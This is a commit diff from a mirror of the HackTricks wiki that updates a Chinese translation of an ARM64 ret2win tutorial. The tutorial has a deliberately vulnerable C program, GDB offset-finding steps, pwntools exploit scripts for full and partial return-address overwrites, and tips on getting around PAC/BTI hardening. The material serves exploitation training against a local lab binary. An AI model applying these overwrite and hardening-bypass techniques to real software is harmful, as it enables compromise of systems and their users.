mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6
This commit is contained in:
		
							parent
							
								
									2caed6c96a
								
							
						
					
					
						commit
						b086c69d38
					
				@ -2,7 +2,7 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
在以下内容中找到关于 arm64 的介绍:
 | 
			
		||||
在以下位置可以找到关于 arm64 的介绍:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -28,17 +28,29 @@ vulnerable_function();
 | 
			
		||||
return 0;
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
在没有 PIE 和 canary 的情况下编译:
 | 
			
		||||
在没有 pie 和 canary 的情况下编译:
 | 
			
		||||
```bash
 | 
			
		||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
 | 
			
		||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
 | 
			
		||||
```
 | 
			
		||||
- 额外的编译选项 `-mbranch-protection=none` 会禁用 AArch64 Branch Protection (PAC/BTI)。如果你的工具链默认启用了 PAC 或 BTI,这能保持实验可重复。要检查已编译的二进制是否使用了 PAC/BTI,你可以:
 | 
			
		||||
- 查找 AArch64 GNU 属性:
 | 
			
		||||
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
 | 
			
		||||
- 检查函数前序/后序以寻找 `paciasp`/`autiasp`(PAC)或 `bti c` 着陆点(BTI):
 | 
			
		||||
- `objdump -d ret2win | head -n 40`
 | 
			
		||||
 | 
			
		||||
### AArch64 调用约定快速要点
 | 
			
		||||
 | 
			
		||||
- 链接寄存器是 `x30`(也称 `lr`),函数通常用 `stp x29, x30, [sp, #-16]!` 保存 `x29`/`x30`,并用 `ldp x29, x30, [sp], #16; ret` 恢复它们。
 | 
			
		||||
- 这意味着保存的返回地址位于相对于帧基址的 `sp+8`。如果在下面放置了一个 `char buffer[64]`,通常覆盖保存的 `x30` 的距离是 64 (buffer) + 8 (saved x29) = 72 字节——这正是我们下面会发现的。
 | 
			
		||||
- 在函数边界处,栈指针必须保持 16 字节对齐。如果你在更复杂的场景中稍后构造 ROP chains,请保持 SP 对齐,否则可能在函数尾部崩溃。
 | 
			
		||||
 | 
			
		||||
## 寻找偏移量
 | 
			
		||||
 | 
			
		||||
### 模式选项
 | 
			
		||||
 | 
			
		||||
此示例是使用 [**GEF**](https://github.com/bata24/gef) 创建的:
 | 
			
		||||
这个例子是使用 [**GEF**](https://github.com/bata24/gef) 创建的:
 | 
			
		||||
 | 
			
		||||
启动 gdb 并使用 gef,创建模式并使用它:
 | 
			
		||||
用 gef 启动 gdb,创建 pattern 并使用它:
 | 
			
		||||
```bash
 | 
			
		||||
gdb -q ./ret2win
 | 
			
		||||
pattern create 200
 | 
			
		||||
@ -46,7 +58,7 @@ run
 | 
			
		||||
```
 | 
			
		||||
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
arm64 将尝试返回到寄存器 x30 中的地址(该地址已被破坏),我们可以利用这一点来找到模式偏移:
 | 
			
		||||
arm64 会尝试返回到寄存器 x30 中的地址(该寄存器已被破坏),我们可以利用这一点来找到 pattern offset:
 | 
			
		||||
```bash
 | 
			
		||||
pattern search $x30
 | 
			
		||||
```
 | 
			
		||||
@ -65,14 +77,14 @@ info frame
 | 
			
		||||
```
 | 
			
		||||
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
现在在 `read()` 之后设置一个断点,并继续直到 `read()` 被执行,并设置一个模式,例如 13371337:
 | 
			
		||||
现在在 `read()` 之后设置一个断点,继续执行直到 `read()` 被执行,并设置一个类似 13371337 的模式:
 | 
			
		||||
```
 | 
			
		||||
b *vulnerable_function+28
 | 
			
		||||
c
 | 
			
		||||
```
 | 
			
		||||
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
找到这个模式在内存中的存储位置:
 | 
			
		||||
查找该模式在内存中的存放位置:
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
@ -80,7 +92,7 @@ c
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
## 无PIE
 | 
			
		||||
## No PIE
 | 
			
		||||
 | 
			
		||||
### 常规
 | 
			
		||||
 | 
			
		||||
@ -90,13 +102,15 @@ objdump -d ret2win | grep win
 | 
			
		||||
ret2win:     file format elf64-littleaarch64
 | 
			
		||||
00000000004006c4 <win>:
 | 
			
		||||
```
 | 
			
		||||
利用:
 | 
			
		||||
利用:
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
# Configuration
 | 
			
		||||
binary_name = './ret2win'
 | 
			
		||||
p = process(binary_name)
 | 
			
		||||
# Optional but nice for AArch64
 | 
			
		||||
context.arch = 'aarch64'
 | 
			
		||||
 | 
			
		||||
# Prepare the payload
 | 
			
		||||
offset = 72
 | 
			
		||||
@ -114,7 +128,7 @@ p.close()
 | 
			
		||||
 | 
			
		||||
### Off-by-1
 | 
			
		||||
 | 
			
		||||
实际上,这更像是在栈中存储的 PC 的 off-by-2。我们将只用 `0x06c4` 覆盖 **最后 2 个字节**,而不是覆盖所有的返回地址。
 | 
			
		||||
实际上,这更像是在 stack 中存储的 stored PC 出现的 off-by-2。我们不会覆盖整个 return address,而是只覆盖 **最后 2 个字节**,写为 `0x06c4`。
 | 
			
		||||
```python
 | 
			
		||||
from pwn import *
 | 
			
		||||
 | 
			
		||||
@ -136,16 +150,16 @@ p.close()
 | 
			
		||||
```
 | 
			
		||||
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
您可以在 ARM64 中找到另一个 off-by-one 示例,链接为 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/),这是一个虚构漏洞中的真实 off-by-**one**。
 | 
			
		||||
你可以在 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) 找到另一个 ARM64 的 off-by-one 示例,该示例是在一个虚构的漏洞中出现的真实 off-by-**one**。
 | 
			
		||||
 | 
			
		||||
## 使用 PIE
 | 
			
		||||
## 在启用 PIE 时
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> 编译二进制文件 **时不要使用 `-no-pie` 参数**
 | 
			
		||||
> 编译该二进制 **不要使用 `-no-pie` 参数**
 | 
			
		||||
 | 
			
		||||
### Off-by-2
 | 
			
		||||
 | 
			
		||||
在没有泄漏的情况下,我们不知道获胜函数的确切地址,但我们可以知道该函数相对于二进制文件的偏移量,并且知道我们正在覆盖的返回地址已经指向一个接近的地址,因此可以泄漏到 win 函数的偏移量 (**0x7d4**) 并仅使用该偏移量:
 | 
			
		||||
没有 leak 的情况下,我们不知道 win 函数的确切地址,但我们可以知道该函数相对于二进制的偏移;并且由于我们正在覆盖的 return address 已经指向一个很接近的地址,在这种情况下可以 leak 到 win 函数的偏移(**0x7d4**)并直接使用该偏移:
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
 | 
			
		||||
```python
 | 
			
		||||
@ -167,4 +181,45 @@ p.send(payload)
 | 
			
		||||
print(p.recvline())
 | 
			
		||||
p.close()
 | 
			
		||||
```
 | 
			
		||||
### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
 | 
			
		||||
 | 
			
		||||
- 如果二进制使用 AArch64 Branch Protection 编译,你可能会在函数前导/尾随中看到 `paciasp`/`autiasp` 或 `bti c`。在这种情况下:
 | 
			
		||||
- 返回到不是有效 BTI landing pad 的地址可能会触发 `SIGILL`。优先定位包含 `bti c` 的准确函数入口。
 | 
			
		||||
- 如果 PAC 为 returns 启用,简单的返回地址覆盖可能会失败,因为 epilogue 会对 `x30` 进行认证。为了学习场景,可用 `-mbranch-protection=none` 重新编译(如上所示)。在攻击真实目标时,优先选择非返回劫持(例如 function pointer overwrites)或构建不会执行会对你的伪造 LR 进行认证的 `autiasp`/`ret` 对的 ROP。
 | 
			
		||||
- 快速检查特性:
 | 
			
		||||
- `readelf --notes -W ./ret2win` 并查找 `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes。
 | 
			
		||||
- `objdump -d ./ret2win | head -n 40` 并查找 `bti c`, `paciasp`, `autiasp`。
 | 
			
		||||
 | 
			
		||||
### Running on non‑ARM64 hosts (qemu‑user quick tip)
 | 
			
		||||
 | 
			
		||||
如果你在 x86_64 平台但想练习 AArch64:
 | 
			
		||||
```bash
 | 
			
		||||
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
 | 
			
		||||
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
 | 
			
		||||
 | 
			
		||||
# Run the binary with the AArch64 loader environment
 | 
			
		||||
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
 | 
			
		||||
 | 
			
		||||
# Debug with GDB (qemu-user gdbstub)
 | 
			
		||||
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
 | 
			
		||||
# In another terminal
 | 
			
		||||
gdb-multiarch ./ret2win -ex 'target remote :1234'
 | 
			
		||||
```
 | 
			
		||||
### 相关 HackTricks 页面
 | 
			
		||||
 | 
			
		||||
-
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
-
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## 参考资料
 | 
			
		||||
 | 
			
		||||
- 在 AArch64 上为 Linux 启用 PAC 和 BTI (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
 | 
			
		||||
- Arm 64-bit Architecture 的过程调用标准 (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user